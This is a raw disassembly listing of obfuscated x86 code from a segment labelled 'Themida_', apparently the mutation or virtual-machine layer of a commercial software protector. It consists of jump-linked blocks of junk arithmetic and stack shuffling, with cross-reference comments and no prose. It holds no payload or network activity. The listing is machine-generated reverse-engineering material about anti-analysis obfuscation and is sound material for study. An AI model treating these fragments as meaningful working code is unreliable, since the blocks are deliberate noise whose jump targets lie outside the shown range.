; ---------------------------------------------------------------------------
loc_59FF99: ; CODE XREF: Themida_:005A0DD4j
mov [esp], edx
jmp loc_5A5CC2
; ---------------------------------------------------------------------------
loc_59FFA1: ; CODE XREF: Themida_:005AB189j
xor ebp, 6025767Eh
jmp loc_59F113
; ---------------------------------------------------------------------------
loc_59FFAC: ; CODE XREF: Themida_:0059CC51j
push esi
jmp loc_5A0225
; ---------------------------------------------------------------------------
loc_59FFB2: ; CODE XREF: Themida_:005AEC0Fj
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ecx
push 24h
pop ecx
jmp loc_59DB2F
; ---------------------------------------------------------------------------
loc_59FFC6: ; CODE XREF: Themida_:0059CD26j
or edx, 56720182h
push ecx
mov ecx, 43500AD5h
and edx, ecx
pop ecx
add edx, 0FFFFFFFFh
jmp loc_5A7E7F
; ---------------------------------------------------------------------------
loc_59FFDD: ; CODE XREF: Themida_:0059CB47j
pop esp
mov [esp], ecx
jmp loc_59FF4C
; ---------------------------------------------------------------------------
loc_59FFE6: ; CODE XREF: Themida_:0059AA96j
xchg eax, ecx
xchg eax, edi
jmp loc_5A1F12
; ---------------------------------------------------------------------------
loc_59FFED: ; CODE XREF: Themida_:loc_59E0DEj
xor edx, 7F2C0A9Ch
jnb loc_599D64
sub edx, 0B9B10C40h
not edx
jmp loc_5A2951
; ---------------------------------------------------------------------------
mov cl, 2Eh
loc_5A0008: ; CODE XREF: Themida_:0059C2C6j
; Themida_:005A3A03j
add eax, edi
jmp loc_5AD5C5
; ---------------------------------------------------------------------------
loc_5A000F: ; CODE XREF: Themida_:005AB116j
sub edx, 4F197A6Ah
push 4929h
mov [esp], edi
jmp loc_59FD95
; ---------------------------------------------------------------------------
loc_5A0022: ; CODE XREF: Themida_:005AEFA2j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_59DA5E
; ---------------------------------------------------------------------------
loc_5A0033: ; CODE XREF: Themida_:0059ADCAj
; Themida_:005A935Ej
add edi, 0C88CF584h
xor esi, edi
push dword ptr [esp]
jmp loc_59F130
; ---------------------------------------------------------------------------
loc_5A0043: ; CODE XREF: Themida_:005A29BAj
add eax, 4745419Eh
push edx
mov edx, 413C275Eh
push ebp
jmp loc_5ADD0C
; ---------------------------------------------------------------------------
loc_5A0054: ; DATA XREF: Themida_:005986C8o
lodsb
sub al, 7
add al, 36h
sub al, bl
sub al, 36h
push 1280h
mov [esp], ecx
mov ch, 35h
neg ch
sub esp, 4
jmp loc_5AFD3D
; ---------------------------------------------------------------------------
loc_5A0071: ; CODE XREF: Themida_:005AA9C2j
xor ecx, 200027B2h
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 69DE1033h
add eax, 0DC22F1h
add eax, ecx
push ecx
jmp loc_5A4DF2
; ---------------------------------------------------------------------------
loc_5A0090: ; CODE XREF: Themida_:005A7B89j
mov esp, [esp]
bt [esp], ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A009E: ; CODE XREF: Themida_:0059BF81j
push esp
pop edi
add edi, 4
jmp loc_5A2362
; ---------------------------------------------------------------------------
loc_5A00AB: ; CODE XREF: Themida_:005AEFB3j
mov eax, 2D0675CDh
shl eax, 8
sub eax, 733E7ECBh
neg eax
jmp loc_59AC6E
; ---------------------------------------------------------------------------
loc_5A00BF: ; CODE XREF: Themida_:005A1DADj
mov edi, 62853474h
shl edi, 3
jz loc_5A9BE0
add edi, 46EF22A9h
and edi, 4C874AFAh
jnz loc_5A088D
or edi, 183F156Dh
jmp loc_59B929
; ---------------------------------------------------------------------------
mov cl, 0D8h
loc_5A00ED: ; CODE XREF: Themida_:00599882j
jns loc_5A1EB6
shl edx, 8
jz loc_5A74E3
add edx, 43BAEE5Ah
sub esp, 4
mov [esp], esi
mov esi, edx
mov ecx, esi
pop esi
jmp loc_5ACDE5
; ---------------------------------------------------------------------------
loc_5A0115: ; CODE XREF: Themida_:005A9B92j
pop edx
push edx
sub esp, 4
mov [esp], ebp
push ecx
mov ecx, 0F9A753Fh
push 0
sub [esp], ecx
pop ecx
jmp loc_5A9D92
; ---------------------------------------------------------------------------
loc_5A0131: ; CODE XREF: Themida_:0059ACC6j
inc ecx
neg ecx
push edx
jmp loc_5A6CA0
; ---------------------------------------------------------------------------
loc_5A013A: ; CODE XREF: Themida_:005A953Bj
pop edi
mov eax, esi
jmp loc_59ABC4
; ---------------------------------------------------------------------------
loc_5A0142: ; CODE XREF: Themida_:005A6648j
shr edi, 2
sub edi, offset dword_4D1010
sub edx, 7ECB0B4Fh
add edx, edi
jmp loc_59CF56
; ---------------------------------------------------------------------------
loc_5A0158: ; CODE XREF: Themida_:005A5408j
mov eax, 7E2C368Dh
jmp loc_5A7034
; ---------------------------------------------------------------------------
loc_5A0162: ; CODE XREF: Themida_:0059B823j
; Themida_:0059F945j
mov ebp, 40D9A313h
sub ebp, edx
jmp loc_5A49A2
; ---------------------------------------------------------------------------
loc_5A016E: ; CODE XREF: Themida_:005A4201j
pop edx
sub eax, 77534501h
push edi
push edx
mov edx, 5A2A08D0h
jmp loc_5AFAED
; ---------------------------------------------------------------------------
loc_5A0180: ; CODE XREF: Themida_:005A42D7j
jmp loc_5A8CEF
; ---------------------------------------------------------------------------
loc_5A0185: ; CODE XREF: Themida_:00598BD4j
push esp
pop ebp
jmp loc_5A4422
; ---------------------------------------------------------------------------
loc_5A018C: ; CODE XREF: Themida_:0059A23Bj
pop esp
mov [esp], edi
mov edi, 4
sub esi, 5EC61C0Bh
add esi, edi
push ecx
mov ecx, 5EC61C0Bh
add esi, ecx
pop ecx
jmp loc_59FC0A
; ---------------------------------------------------------------------------
loc_5A01AB: ; CODE XREF: Themida_:005AE84Cj
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A01B0: ; CODE XREF: Themida_:005A5ABAj
or eax, 1B43398Eh
jnz loc_5AF77F
add eax, 5F1C159Eh
mov ebx, eax
mov eax, [esp]
add esp, 4
loc_5A01C8: ; CODE XREF: Themida_:005A4BACj
mov esi, ebx
pop ebx
sub esi, 416203D1h
jmp loc_5A99F7
; ---------------------------------------------------------------------------
loc_5A01D6: ; CODE XREF: Themida_:loc_59BAE8j
push edi
push edx
push 466B3AF4h
pop edx
jmp loc_5A3CF6
; ---------------------------------------------------------------------------
loc_5A01E3: ; CODE XREF: Themida_:005A4A39j
pop ecx
jmp loc_5AA726
; ---------------------------------------------------------------------------
loc_5A01E9: ; CODE XREF: Themida_:005A8F5Ej
jmp loc_5AF88C
; ---------------------------------------------------------------------------
loc_5A01EE: ; CODE XREF: Themida_:005A54A6j
; Themida_:005A80DAj
add esp, 4
not dl
jmp loc_5A190A
; ---------------------------------------------------------------------------
loc_5A01FB: ; CODE XREF: Themida_:0059E6A4j
pop ecx
inc esi
jmp loc_59E3E9
; ---------------------------------------------------------------------------
loc_5A0202: ; CODE XREF: Themida_:loc_5A7BE8j
shr edx, 1
jnz loc_5A8442
xor edx, 77D28D37h
push esi
mov esi, edx
pop ebx
loc_5A0214: ; CODE XREF: Themida_:0059FDF7j
; Themida_:005AD32Fj
push ecx
jmp loc_59F3C9
; ---------------------------------------------------------------------------
loc_5A021A: ; CODE XREF: Themida_:005AB019j
; Themida_:005AB761j
sub esp, 4
jmp loc_5A08EC
; ---------------------------------------------------------------------------
loc_5A0225: ; CODE XREF: Themida_:0059FFADj
mov esi, 20322B47h
xor esi, 6D77334Fh
sub esi, 0FFFFFFFFh
push eax
mov eax, 66BB6F73h
jmp loc_5AE5E5
; ---------------------------------------------------------------------------
loc_5A023E: ; CODE XREF: Themida_:005A362Cj
add esp, 4
add al, 6Ch
shr al, 3
push edx
push 49C3h
mov [esp], ecx
mov ch, 0BDh
jmp loc_5A52A6
; ---------------------------------------------------------------------------
loc_5A0256: ; CODE XREF: Themida_:0059939Cj
mov ecx, [esp]
add esp, 4
push esi
mov esi, 66E9781Ah
not esi
shl esi, 6
sub esp, 4
jmp loc_5A7764
; ---------------------------------------------------------------------------
loc_5A0272: ; CODE XREF: Themida_:0059A35Dj
; Themida_:005A8CA4j
mov ecx, [esp]
add esp, 4
xor bl, al
movzx eax, al
jmp loc_59E937
; ---------------------------------------------------------------------------
loc_5A0282: ; CODE XREF: Themida_:005A34E4j
sub cl, ah
pop eax
jmp loc_5A3A40
; ---------------------------------------------------------------------------
loc_5A028A: ; CODE XREF: Themida_:005AB303j
mov ecx, 56D75E8Ah
add ecx, 6BFA56A5h
jl loc_59D022
sub ecx, 2D0362C7h
xor ecx, 0FF521F9Eh
mov edx, ecx
pop ecx
jmp loc_5A51EE
; ---------------------------------------------------------------------------
loc_5A02AF: ; CODE XREF: Themida_:0059A4EEj
; Themida_:005A8350j
xor esi, [esp]
mov esp, [esp]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A02BA: ; CODE XREF: Themida_:005A5778j
sub ecx, 2F853A2Eh
sub ecx, 3FD04367h
neg ecx
sub ecx, 58426749h
mov ebx, ecx
pop ecx
sub ebx, 0FFFFFFFFh
push ebp
mov ebp, 48051560h
jmp loc_5A09E6
; ---------------------------------------------------------------------------
loc_5A02E2: ; CODE XREF: Themida_:0059D1D8j
push eax
push dword ptr [esp+4]
pop eax
jmp loc_599C92
; ---------------------------------------------------------------------------
loc_5A02ED: ; CODE XREF: Themida_:005A75B3j
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add edi, esi
pop esi
xor eax, edi
jmp loc_5A2AF2
; ---------------------------------------------------------------------------
loc_5A0303: ; CODE XREF: Themida_:005A5B4Dj
pop ebx
push 2016h
mov [esp], ecx
push ebx
jmp loc_59BEFA
; ---------------------------------------------------------------------------
loc_5A0312: ; CODE XREF: Themida_:005A964Cj
sub esp, 4
mov [esp], edi
push 1764h
mov [esp], eax
mov eax, 7D1C29AFh
inc eax
shr eax, 4
and eax, 2AC05EFh
xor eax, 12C672BCh
mov edi, eax
pop eax
sub edx, edi
pop edi
xor edx, 0F18395A1h
jmp loc_5A6F87
; ---------------------------------------------------------------------------
loc_5A0344: ; CODE XREF: Themida_:00599BECj
push ebp
mov ebp, esp
add ebp, 4
jmp loc_59B7B3
; ---------------------------------------------------------------------------
loc_5A0352: ; CODE XREF: Themida_:005AD692j
mov esi, 2
add ecx, esi
pop esi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov fs:[edx], al
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A036E: ; CODE XREF: Themida_:005A96C1j
mov eax, ebp
mov ebp, [esp]
add esp, 4
neg eax
jg loc_59E215
xor eax, 77D5A16h
push eax
jmp loc_5A238C
; ---------------------------------------------------------------------------
loc_5A0389: ; CODE XREF: Themida_:005AE281j
push ebp
mov ebp, 2
jmp loc_5A570D
; ---------------------------------------------------------------------------
loc_5A0394: ; CODE XREF: Themida_:005A36EDj
push dword ptr [esp]
jmp loc_599F3D
; ---------------------------------------------------------------------------
loc_5A039C: ; CODE XREF: Themida_:005A68B0j
mov ebp, 36F72F3Dh
add ebp, 7B8A6902h
neg ebp
xor ebp, 69405A39h
mov edi, ebp
mov ebp, [esp]
add esp, 4
mov ecx, 243E3DFCh
xor ecx, edi
mov edi, [esp]
jmp loc_5AC7D8
; ---------------------------------------------------------------------------
loc_5A03C9: ; CODE XREF: Themida_:005A55E6j
sub [esp], eax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A03D2: ; CODE XREF: Themida_:005AB0C7j
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], esp
jmp loc_5AAABC
; ---------------------------------------------------------------------------
loc_5A03E9: ; CODE XREF: Themida_:005A18CAj
add esi, 4
push ebp
mov ebp, 4
sub esi, ebp
pop ebp
push 2A7Ch
mov [esp], esi
push dword ptr [esp+4]
jmp loc_5A417E
; ---------------------------------------------------------------------------
loc_5A0409: ; CODE XREF: Themida_:005A8B6Bj
jz loc_5AC529
push edx
jmp loc_59DCFF
; ---------------------------------------------------------------------------
loc_5A0415: ; CODE XREF: Themida_:005A285Ej
; Themida_:005A7DABj
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_5AF972
; ---------------------------------------------------------------------------
loc_5A0426: ; CODE XREF: Themida_:005994E2j
push esi
push eax
mov eax, 243E6CE9h
jmp loc_59B8FD
; ---------------------------------------------------------------------------
loc_5A0432: ; CODE XREF: Themida_:005A1963j
mov dl, ch
jmp loc_5A2A2C
; ---------------------------------------------------------------------------
loc_5A0439: ; CODE XREF: Themida_:005A6EF6j
mov [esp], eax
push 5997h
mov [esp], edi
jmp loc_5ADBBD
; ---------------------------------------------------------------------------
loc_5A0449: ; CODE XREF: Themida_:0059D488j
sub esp, 4
mov [esp], eax
push 0F66F35h
jmp loc_5AE7E9
; ---------------------------------------------------------------------------
loc_5A0459: ; CODE XREF: Themida_:005A0FCDj
mov ebx, [esp]
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_59C00F
; ---------------------------------------------------------------------------
loc_5A0473: ; CODE XREF: Themida_:005AD2F5j
push 104Ch
jmp loc_59ACE0
; ---------------------------------------------------------------------------
loc_5A047D: ; CODE XREF: Themida_:005AD79Bj
add esp, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_5A6912
; ---------------------------------------------------------------------------
loc_5A049A: ; CODE XREF: Themida_:005A626Fj
pop ebx
xchg edi, [esp]
jmp loc_5AAF2F
; ---------------------------------------------------------------------------
loc_5A04A3: ; CODE XREF: Themida_:0059B56Aj
mov [esp], ecx
mov ecx, esp
push edi
mov edi, 71362254h
push 0AEEh
mov [esp], eax
mov eax, 71362250h
add edi, 713874E2h
sub edi, eax
jmp loc_59BCE3
; ---------------------------------------------------------------------------
loc_5A04C8: ; CODE XREF: Themida_:0059CBC0j
mov ebp, 19231D31h
inc ebp
jmp loc_5A244F
; ---------------------------------------------------------------------------
loc_5A04D3: ; CODE XREF: Themida_:005997CAj
pop ebx
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
xchg eax, [esp]
mov esp, [esp]
shl byte ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A04EC: ; CODE XREF: Themida_:0059CF71j
not edi
neg edi
add edi, 401810B1h
push edx
mov edx, edi
jmp loc_59CD58
; ---------------------------------------------------------------------------
loc_5A04FE: ; CODE XREF: Themida_:005AF09Cj
add esi, 0AC81384h
add edx, esi
mov esi, [esp]
add esp, 4
jmp loc_5AE3F1
; ---------------------------------------------------------------------------
loc_5A0511: ; CODE XREF: Themida_:005A7BC2j
push esi
mov esi, 24D65A61h
push 24D65A65h
pop ebp
xor ebp, esi
mov esi, [esp]
add esp, 4
jmp loc_5A9379
; ---------------------------------------------------------------------------
loc_5A052A: ; CODE XREF: Themida_:005AC6ECj
dec ebx
xor ebx, 13FD51D0h
sub ebp, 5427228Fh
add ebp, ebx
add ebp, 5427228Fh
pop ebx
jmp loc_5AB8E4
; ---------------------------------------------------------------------------
loc_5A0545: ; CODE XREF: Themida_:005AF5D2j
sub edi, 0C4CB504Fh
or ebx, edi
pop edi
shl ebx, 8
xor ebx, 61CD6CC5h
xor ebx, 2DE4437Ah
add ebx, 3B9A37EFh
add ecx, ebx
pop ebx
jmp loc_5A79C7
; ---------------------------------------------------------------------------
loc_5A056B: ; CODE XREF: Themida_:005A2D1Bj
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
sub ebx, 2EE0603h
sub ebx, eax
jmp loc_5AF360
; ---------------------------------------------------------------------------
loc_5A0585: ; CODE XREF: Themida_:005A986Aj
xor edi, [esp]
mov esp, [esp]
add esp, 4
imul ecx
push 8Dh
mov [esp], esi
push 30AAh
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
push ebp
mov ebp, esp
jmp loc_5AD1E6
; ---------------------------------------------------------------------------
loc_5A05C1: ; CODE XREF: Themida_:005A990Ej
push eax
mov eax, 2B2A418Fh
or eax, 29DD74C2h
xchg eax, ecx
jmp loc_5AF1C6
; ---------------------------------------------------------------------------
loc_5A05D2: ; CODE XREF: Themida_:005AD443j
push 324Dh
mov [esp], ecx
jmp loc_59F63A
; ---------------------------------------------------------------------------
loc_5A05DF: ; CODE XREF: Themida_:005A23A0j
; Themida_:005AD0BCj
pop ebx
jmp loc_59B3A0
; ---------------------------------------------------------------------------
loc_5A05E5: ; CODE XREF: Themida_:005A5CBDj
mov esp, [esp]
mov [esp], ecx
push ebx
mov bl, 30h
mov ch, bl
pop ebx
shl ch, 2
shr ch, 5
push ebx
jmp loc_5AC905
; ---------------------------------------------------------------------------
loc_5A05FD: ; CODE XREF: Themida_:005AEFD9j
mov [esp], eax
mov eax, 6CF4209Eh
xchg eax, ecx
jmp loc_5AB1B3
; ---------------------------------------------------------------------------
loc_5A060B: ; CODE XREF: Themida_:005AB208j
push dword ptr [esp]
pop edx
add esp, 4
pop eax
inc eax
xor edx, eax
xor eax, edx
xor edx, eax
add edx, 0C9C803CCh
jmp loc_5A3654
; ---------------------------------------------------------------------------
loc_5A0625: ; CODE XREF: Themida_:005A485Ej
add ebp, 6B612842h
sub ebp, 13182F84h
pop ecx
add ebp, 4
jmp loc_59EF75
; ---------------------------------------------------------------------------
loc_5A063D: ; CODE XREF: Themida_:0059F1A0j
sub bh, dh
pop edx
pop cx
or bh, 0ABh
xor bh, 0D8h
xor bh, 0FDh
jmp loc_59F9C3
; ---------------------------------------------------------------------------
loc_5A0650: ; CODE XREF: Themida_:loc_59EFDBj
jmp loc_5A4450
; ---------------------------------------------------------------------------
loc_5A0655: ; CODE XREF: Themida_:005AF499j
jmp loc_5A3BFE
; ---------------------------------------------------------------------------
loc_5A065A: ; CODE XREF: Themida_:005A2530j
neg ebp
jmp loc_5A51EE
; ---------------------------------------------------------------------------
loc_5A0661: ; CODE XREF: Themida_:005A991Cj
push edi
mov edi, 0FFFFFFFFh
add edx, edi
pop edi
not edx
jmp loc_5A76FF
; ---------------------------------------------------------------------------
loc_5A0671: ; CODE XREF: Themida_:005A6368j
sub eax, ecx
push edx
mov edx, 48943BD8h
shr edx, 2
dec edx
xor edx, 6456E74h
sub eax, edx
jmp loc_5A7488
; ---------------------------------------------------------------------------
loc_5A068A: ; CODE XREF: Themida_:0059FA32j
and eax, 67D23A86h
jnp loc_5A9440
sub eax, 0F33DE8D5h
mov esi, eax
pop eax
mov eax, esi
pop esi
jmp loc_59CAE9
; ---------------------------------------------------------------------------
loc_5A06A5: ; CODE XREF: Themida_:005A0B6Ej
add eax, ebx
push dword ptr [esp]
pop ebx
jmp loc_5AE6C2
; ---------------------------------------------------------------------------
loc_5A06B0: ; CODE XREF: Themida_:005AD98Ej
add edx, 0C92032E3h
jmp loc_5A599F
; ---------------------------------------------------------------------------
loc_5A06BB: ; CODE XREF: Themida_:005AEC60j
add eax, 16200E4Eh
sub eax, 2CC42468h
sub eax, 2E434759h
add eax, 45A74AF1h
push edi
jmp loc_5A0F50
; ---------------------------------------------------------------------------
loc_5A06D5: ; CODE XREF: Themida_:005AA0D3j
add esp, 4
add esp, 4
add ebx, 4
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
xchg ebx, [esp]
pop esp
xor ebx, eax
mov dx, [esp]
push edx
push esp
mov edx, [esp]
add esp, 4
push 3668h
mov [esp], edi
push edx
mov edx, esp
push esi
mov esi, 4
jmp loc_5A7D4B
; ---------------------------------------------------------------------------
loc_5A0718: ; CODE XREF: Themida_:0059A9E7j
add esi, 603B7E05h
push dword ptr [esp]
jmp loc_5A2DDB
; ---------------------------------------------------------------------------
loc_5A0726: ; CODE XREF: Themida_:0059C98Cj
push 0E95h
mov [esp], eax
jmp loc_5ABCE8
; ---------------------------------------------------------------------------
loc_5A0733: ; CODE XREF: Themida_:005A917Aj
mov edi, [esp]
push edi
jmp loc_5A4E9E
; ---------------------------------------------------------------------------
loc_5A073C: ; CODE XREF: Themida_:0059DC1Dj
add ebp, 689B0DC2h
jmp loc_5AFA35
; ---------------------------------------------------------------------------
loc_5A0747: ; CODE XREF: Themida_:005A900Cj
xchg ebx, [esp]
pop esp
push eax
push dword ptr [esp+4]
pop eax
jmp loc_5A7DB6
; ---------------------------------------------------------------------------
loc_5A0756: ; CODE XREF: Themida_:0059DDD9j
jmp loc_5A5415
; ---------------------------------------------------------------------------
loc_5A075B: ; CODE XREF: Themida_:005ADD3Bj
xchg edi, [esp]
jmp loc_59B1E3
; ---------------------------------------------------------------------------
loc_5A0763: ; CODE XREF: Themida_:005AA789j
push 64F805A4h
jmp loc_59A48B
; ---------------------------------------------------------------------------
loc_5A076D: ; CODE XREF: Themida_:005AD3B0j
inc ebx
jmp loc_5AD241
; ---------------------------------------------------------------------------
loc_5A0773: ; CODE XREF: Themida_:0059D796j
push 372Ch
mov [esp], ecx
push 5574h
jmp loc_5ABA38
; ---------------------------------------------------------------------------
loc_5A0785: ; CODE XREF: Themida_:005AEE95j
add ebx, 3A5F3C71h
shl ebx, 2
push esi
push 592Fh
jmp loc_5A7568
; ---------------------------------------------------------------------------
loc_5A0799: ; CODE XREF: Themida_:00598DB0j
jnz loc_5A5EF1
jmp loc_5AEE0D
; ---------------------------------------------------------------------------
pop eax
add edi, edx
pop edx
push edx
loc_5A07A9: ; CODE XREF: Themida_:005A4D04j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], edi
jmp loc_5994ED
; ---------------------------------------------------------------------------
loc_5A07BB: ; CODE XREF: Themida_:0059AFDAj
sub ecx, edi
pop edi
push ecx
push dword ptr [esp+4]
jmp loc_59A22F
; ---------------------------------------------------------------------------
loc_5A07C8: ; CODE XREF: Themida_:005A7FDBj
sub esp, 4
mov [esp], edi
mov edi, 4C555CA5h
shr edi, 6
push edx
jmp loc_5ADBE2
; ---------------------------------------------------------------------------
loc_5A07DF: ; CODE XREF: Themida_:005A465Bj
push eax
mov eax, 0F88705Bh
sub ebp, eax
pop eax
push ecx
jmp loc_5AAC99
; ---------------------------------------------------------------------------
loc_5A07EE: ; CODE XREF: Themida_:005AA7DAj
; Themida_:005AC61Dj
mov ecx, [esp]
add esp, 4
pop ebx
pop ecx
push 1BB7h
jmp loc_5AC231
; ---------------------------------------------------------------------------
loc_5A0800: ; CODE XREF: Themida_:0059B4B3j
; Themida_:005A4166j
push edi
push esp
jmp loc_5AA423
; ---------------------------------------------------------------------------
loc_5A0807: ; CODE XREF: Themida_:005A91E3j
pop dword ptr [esp]
pop esp
mov ebx, [esp]
add esp, 4
pop edx
push eax
mov eax, 38h
jmp loc_5A7E90
; ---------------------------------------------------------------------------
loc_5A0820: ; DATA XREF: Themida_:00598744o
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A082F: ; CODE XREF: Themida_:005AC48Dj
push dx
not byte ptr [esp+1]
jmp loc_59D011
; ---------------------------------------------------------------------------
loc_5A083A: ; CODE XREF: Themida_:0059DA79j
push 31E31381h
jmp loc_5A56F3
; ---------------------------------------------------------------------------
loc_5A0844: ; CODE XREF: Themida_:005ABF8Ej
; Themida_:005AE12Dj
and ecx, edx
push dword ptr [esp]
pop edx
push 4B89h
mov [esp], ebx
mov ebx, esp
sub esp, 4
jmp loc_59BE96
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5A1E51
; ---------------------------------------------------------------------------
loc_5A0865: ; CODE XREF: Themida_:0059F051j
xchg esi, ecx
jmp loc_59D20F
; ---------------------------------------------------------------------------
loc_5A086C: ; CODE XREF: Themida_:005A39D1j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
sub [edi+24h], eax
push dword ptr [esp]
jmp loc_59DEC1
; ---------------------------------------------------------------------------
loc_5A0887: ; CODE XREF: Themida_:005AAF70j
pop edi
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A088D: ; CODE XREF: Themida_:005A00D9j
or edi, 183F156Dh
jmp loc_59A356
; ---------------------------------------------------------------------------
loc_5A0898: ; CODE XREF: Themida_:005A275Cj
add eax, 0FF78A7CCh
push ebp
mov ebp, 51D4069Dh
jmp loc_5AB3CF
; ---------------------------------------------------------------------------
loc_5A08A8: ; CODE XREF: Themida_:005A7163j
jmp loc_598D9C
; ---------------------------------------------------------------------------
loc_5A08AD: ; CODE XREF: Themida_:loc_5AB364j
jmp loc_59B2C1
; ---------------------------------------------------------------------------
loc_5A08B2: ; CODE XREF: Themida_:005AB388j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
push 0ECDh
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_5A9172
; ---------------------------------------------------------------------------
loc_5A08D2: ; CODE XREF: Themida_:0059F96Bj
mov dh, al
jmp loc_59BC70
; ---------------------------------------------------------------------------
loc_5A08D9: ; CODE XREF: Themida_:005A444Bj
pop esp
push edx
push esp
pop edx
push edi
push esi
mov esi, 42432C49h
mov edi, esi
pop esi
jmp loc_5A671B
; ---------------------------------------------------------------------------
loc_5A08EC: ; CODE XREF: Themida_:005A0220j
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
push ecx
mov ecx, esp
jmp loc_5A5578
; ---------------------------------------------------------------------------
loc_5A08FE: ; CODE XREF: Themida_:005AE9E7j
pop ebx
jmp loc_5AB229
; ---------------------------------------------------------------------------
loc_5A0904: ; CODE XREF: Themida_:005AE069j
add bl, 4Ch
pop eax
jmp loc_5AE19A
; ---------------------------------------------------------------------------
loc_5A090D: ; CODE XREF: Themida_:0059FB52j
; Themida_:005A45E2j ...
mov eax, ecx
push dword ptr [esp]
pop ecx
push 235Bh
mov [esp], ebp
mov ebp, esp
push esi
jmp loc_59A639
; ---------------------------------------------------------------------------
loc_5A0923: ; CODE XREF: Themida_:0059DD9Bj
mov ecx, eax
pop eax
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_5A54BF
; ---------------------------------------------------------------------------
loc_5A093A: ; CODE XREF: Themida_:005995C3j
pop ecx
sub edx, 298680Ch
sub ebx, 28F2736Dh
add ebx, edx
push edx
jmp loc_5A34FE
; ---------------------------------------------------------------------------
loc_5A094F: ; CODE XREF: Themida_:0059BB5Fj
push ebx
mov ebx, 0F0C2B5Fh
shl ebx, 4
add ebx, 3B5064E1h
push edi
mov edi, 5DD53BE8h
not edi
dec edi
shl edi, 5
shr edi, 8
jmp loc_5AABF8
; ---------------------------------------------------------------------------
loc_5A0972: ; CODE XREF: Themida_:005AF418j
add dword ptr [esp], 4
pop ecx
jmp loc_5AA009
; ---------------------------------------------------------------------------
loc_5A097C: ; CODE XREF: Themida_:005AF1E1j
push 2BD4h
mov [esp], eax
mov eax, 45D5E00Eh
jmp loc_59D1DD
; ---------------------------------------------------------------------------
loc_5A098E: ; CODE XREF: Themida_:0059DF44j
; Themida_:005A8ABCj
mov [esp], edx
jmp loc_59D193
; ---------------------------------------------------------------------------
loc_5A0996: ; CODE XREF: Themida_:00599BE0j
xor edx, 6FFC7C6Bh
jz loc_59ED8E
sub edx, 95E5EB90h
push eax
jmp loc_5A223B
; ---------------------------------------------------------------------------
loc_5A09AE: ; CODE XREF: Themida_:0059FCD0j
neg eax
add eax, 43470E31h
sub eax, 6230040Ah
jmp loc_59C1F6
; ---------------------------------------------------------------------------
loc_5A09BF: ; CODE XREF: Themida_:0059DE07j
; DATA XREF: Themida_:005987E0o
neg word ptr [esp]
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A09C9: ; CODE XREF: Themida_:005A8384j
mov ecx, 3320101Ch
sub edx, ecx
jmp loc_5AE380
; ---------------------------------------------------------------------------
loc_5A09D5: ; CODE XREF: Themida_:00599E0Fj
xor dh, 0EBh
xor al, dh
pop edx
push edx
mov dh, 2Bh
sub al, dh
pop edx
jmp loc_5A7258
; ---------------------------------------------------------------------------
loc_5A09E6: ; CODE XREF: Themida_:005A02DDj
and ebx, ebp
pop ebp
shr ebx, 6
xchg edx, ebx
not edx
xchg edx, ebx
push ebp
jmp loc_59E946
; ---------------------------------------------------------------------------
loc_5A09F8: ; CODE XREF: Themida_:loc_5A690Dj
push edi
mov edi, 218795Fh
shl edi, 7
neg edi
xor edi, 0B9800702h
sub edx, 77A93603h
sub edx, edi
add edx, 77A93603h
jmp loc_5A43DB
; ---------------------------------------------------------------------------
loc_5A0A1C: ; CODE XREF: Themida_:0059D53Dj
add bl, dh
jmp loc_5A9AC2
; ---------------------------------------------------------------------------
loc_5A0A23: ; DATA XREF: Themida_:005987D8o
mov cx, [esp]
push 7D6Dh
mov [esp], ebp
push 3795h
mov [esp], edx
push esp
pop edx
add edx, 4
push ecx
mov ecx, 48D86C9Eh
shl ecx, 8
push edi
jmp loc_5A65C0
; ---------------------------------------------------------------------------
loc_5A0A4E: ; CODE XREF: Themida_:005A3D02j
; Themida_:005AE3CFj
sub eax, 3D62375Dh
jmp loc_5A1BCC
; ---------------------------------------------------------------------------
loc_5A0A58: ; CODE XREF: Themida_:0059B3EFj
mov edi, 33737BC1h
inc edi
jns loc_5AE30B
jmp loc_5A42F3
; ---------------------------------------------------------------------------
pop ebx
pop eax
pop ecx
jns loc_5AD7CA
loc_5A0A72: ; CODE XREF: Themida_:005A93D3j
jmp loc_59BB5C
; ---------------------------------------------------------------------------
loc_5A0A77: ; CODE XREF: Themida_:0059E189j
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_59F0D0
; ---------------------------------------------------------------------------
loc_5A0A88: ; CODE XREF: Themida_:005AD73Cj
sub dword ptr [esp+4], 36B6653h
add [esp+4], eax
jmp loc_5A5598
